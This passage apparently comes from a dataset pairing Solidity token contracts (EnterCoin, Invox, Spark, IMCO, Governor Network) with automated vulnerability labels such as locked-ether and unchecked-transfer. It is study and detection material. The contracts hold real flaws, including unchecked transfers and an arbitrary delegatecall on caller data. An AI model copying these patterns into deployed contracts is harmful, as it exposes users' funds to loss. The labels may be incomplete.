uint256 amountWithDecimals = amount * 10**tokenDecimals;
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amountWithDecimals);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
//take back unclaimed tokens of any type sent by mistake
function withdrawUnclaimedTokens(address contractUnclaimed) external onlyOwner {
currentToken = IERC20(contractUnclaimed);
uint256 amount = currentToken.balanceOf(address(this));
currentToken.transfer(_owner, amount);
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Virgin' token contract
//
// Deployed to : 0xceFa641734Fd5d409fBE973a89E333d3B2a6F660
// Symbol : ENTRC
// Name : EnterCoin
// Total supply: 100000000000000
// Decimals : 8
//
// Enjoy.
// Coding by Jarmo van de Seijp
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EnterCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EnterCoin() public {
symbol = "ENTRC";
name = "EnterCoin";
decimals = 8;
_totalSupply = 10000000000000000;
balances[0xceFa641734Fd5d409fBE973a89E333d3B2a6F660] = _totalSupply;
Transfer(address(0), 0xceFa641734Fd5d409fBE973a89E333d3B2a6F660, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
interface ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
/**
* @title ERC223Basic additions to ERC20Basic
* @dev see also: https://github.com/ethereum/EIPs/issues/223
*
*/
contract ERC223 is ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes indexed _data);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success);
function isContract(address _addr) internal view returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private owner_;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner_ = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return owner_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner_, "Only the owner can call this function.");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner_);
owner_ = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Cannot transfer ownership to zero address.");
emit OwnershipTransferred(owner_, _newOwner);
owner_ = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Generic223Receiver {
uint public sentValue;
address public tokenAddr;
address public tokenSender;
bool public calledFoo;
bytes public tokenData;
bytes4 public tokenSig;
Tkn private tkn;
bool private __isTokenFallback;
struct Tkn {
address addr;
address sender;
uint256 value;
bytes data;
bytes4 sig;
}
modifier tokenPayable {
assert(__isTokenFallback);
_;
}
function tokenFallback(address _sender, uint _value, bytes _data) public returns (bool success) {
tkn = Tkn(msg.sender, _sender, _value, _data, getSig(_data));
__isTokenFallback = true;
address(this).delegatecall(_data);
__isTokenFallback = false;
return true;
}
function foo() public tokenPayable {
saveTokenValues();
calledFoo = true;
}
function getSig(bytes _data) private pure returns (bytes4 sig) {
uint lngth = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < lngth; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (lngth - 1 - i))));
}
}
function saveTokenValues() private {
tokenAddr = tkn.addr;
tokenSender = tkn.sender;
sentValue = tkn.value;
tokenSig = tkn.sig;
tokenData = tkn.data;
}
}
contract InvoxFinanceToken is ERC223, Ownable {
using SafeMath for uint256;
string private name_ = "Invox Finance Token";
string private symbol_ = "INVOX";
uint256 private decimals_ = 18;
uint256 public totalSupply = 464000000 * (10 ** decimals_);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) internal balances_;
mapping (address => mapping (address => uint256)) private allowed_;
constructor() public {
balances_[msg.sender] = balances_[msg.sender].add(totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
function() public payable { revert("Cannot send ETH to this address."); }
function name() public view returns(string) {
return name_;
}
function symbol() public view returns(string) {
return symbol_;
}
function decimals() public view returns(uint256) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function safeTransfer(address _to, uint256 _value) public {
require(transfer(_to, _value), "Transfer failed.");
}
function safeTransferFrom(address _from, address _to, uint256 _value) public {
require(transferFrom(_from, _to, _value), "Transfer failed.");
}
function safeApprove( address _spender, uint256 _currentValue, uint256 _value ) public {
require(allowed_[msg.sender][_spender] == _currentValue, "Current allowance value does not match.");
approve(_spender, _value);
}
// ERC20
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[msg.sender], "Value exceeds balance of msg.sender.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[_from], "Value exceeds balance of msg.sender.");
require(_value <= allowed_[_from][msg.sender], "Value exceeds allowance of msg.sender for this owner.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed_[msg.sender][_spender] = allowed_[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
// ERC223
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_to != address(0), "Cannot transfer token to zero address.");
require(_value <= balanceOf(msg.sender), "Value exceeds balance of msg.sender.");
transfer(_to, _value);
if (isContract(_to)) {
return contractFallback(_to, _value, _data);
}
return true;
}
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success) {
Generic223Receiver receiver = Generic223Receiver(_to);
return receiver.tokenFallback(msg.sender, _value, _data);
}
// Assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal view returns (bool) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) unchecked-lowlevel with Medium impact
3) erc721-interface with Medium impact
4) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract SparkToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SparkToken() public {
symbol = "SPARK";
name = "Sparks Token";
decimals = 18;
_totalSupply = 435000000000000000000000000;
balances[0x27E5BD8A74AcB67ade357E65E4027b96bA157CFF] = _totalSupply;
Transfer(address(0), 0x27E5BD8A74AcB67ade357E65E4027b96bA157CFF, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'IMCO' 'IMCO' token contract
//
// Symbol : IMCO
// Name : IMCO
// Total supply: 10,000,000,000.0000000
// Decimals : 7
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial IMCO supply
// ----------------------------------------------------------------------------
contract IMCOToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function IMCOToken() public {
symbol = "IMCO";
name = "IMCO";
decimals = 7;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/*
Governor Network — connect any asset on BSC & ETH
Introduction
Hello everyone! Introducing Governor Network. Our journey begins with creating a Stableswap on BSC & ETH, targeting stablecoin first. However unfortunately the
team has been acting much faster than us (kudos to the team for their speed and good work!), so we need to repivot our work to something else.
A recent tweet from Kevin Sekniqi has divulged our latest attempt — to connect various bridged assets on BSC & ETH. Different bridged assets result in fragmented liquidity, and they are very difficult to transfer to each other unless users are paying high transaction fees and slippages. Stableswap provides an excellent solution to tackle this problem.
In light of this, we are partnering with
Zero Exchange
to connect the z-tokens to BSC & ETH’s ERC20 tokens! We will gradually expand our scope to enable more assets from different bridges. At the same time, we will list our governance token, $GVN, both in Pangolin and Zero Exchange.
Governance Token: $GVN
Governor’s governance token is $GVN. The supply is capped at 500 million and 60% will be allocated to liquidity mining.
Details of airdrop will be announced later. Developer fund will be locked for 6 months. Ecosystem reserve can be used discretionary by governance token holders after governance is enabled.
Liquidity Mining
The liquidity mining has a declining schedule with 2 halvings. The first 100 million to be distributed in 2 months, next 100 million in 4 months, then last 100 million in 8 months.
There will be 6 mining pools upon project launch:
• 20% for Governor GVN staking
• 20% for Governor zETH-ETH pool
• 10% for Governor zUSDT-USDT pool
• 10% for Governor zDAI-DAI pool
• 20% for Pangolin AVAX-GVN LPs
• 20% for Zero Exchange ZERO-GVN LPs
FAQ
Wen launch? Wen farming?
• Protocol launch: 4/28 2:00pm UTC
• Mining Start: 4/30 2:00pm UTC
The above timeline is tentative and subject to changes.
Wen airdrop?
Sorry, no information will be available now. We will release the information in due time.
Is there any risk involved in liquidity mining?
Yes, definitely.
If you are participating in the Governor pools, and one of the assets in a pool significantly depegs, it will effectively mean that pool liquidity providers will be left holding only that asset.
If you are participating in the Pangolin or Zero Exchange LPs, you are exposed to the volatility of the related assets (i.e.: GVN, AVAX, ZERO) and impermanent loss.
If you are participating in GVN staking, you are exposed to the volatility of GVN.
Is the project audited?
Governor was forked from
Saddle Finance
and Sushiswap, and all changes associated with the smart contracts were minimized.
The contracts are available at https://github.com/Governor-network
Governor’s solution to the Migrator Function
Many of those in the BSC & ETH defi community have expressed concern over the existence of a migrator function in our code. The migrator function is a notorious “back-door” that exists in the Masterchef contract that has resulted in numerous rug-pull in the past. For instance, the PopcornSwap rug-pull. This was a legacy feature that came from SushiSwap on Ethereum because they needed to forcibly “migrate” Uniswap LPs into their own SushiSwap LP.
Goose Finance was the first project to publicize this issue and removed the migrator backdoor. However, this requires modifying the contract. Alternatively, most other projects have reacted by implementing a Timelock solution instead of directly modifying the Masterchef’s code as it’s more straightforward to implement and provides the same effect.
A timelock is useful because it means that if a malicious developer chooses to rug-pull, the execution will at least be delayed. And if the timelock specified is long enough (say, 24 hours), it would provide sufficient time for LPs to withdraw their liquidity prior to the rug-pull happening.
In addressing this community concern, Governor is implementing a slightly different but still very similar solution to a timelock. We are transferring the Masterchef’s contract ownership to a “MasterchefProxy contract”, with the ability for us to reclaim the ownership after 14 days. The reason is that it provides us the option to migrate to a newer, potentially better, solution in the future (e.g., Gnosis multisig).
Of course, with this solution, theoretically it does allow us to reclaim ownership of the migrator function — but we will only implement this if we feel it is in the very best interest of our users and the project. Moreover any changes will of course be announced well in advance, and as an LP if you do not agree in the actions we take, you will have plenty of time and notice to remove your liquidity in an orderly manner.
In conclusion, we have heard the concerns of the BSC & ETH defi community loud and clear and have implemented a solution we feel addresses the well-known migrator function problem. Now we look forward to continuing our journey of making the best product possible for our users and working through our roadmap!
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
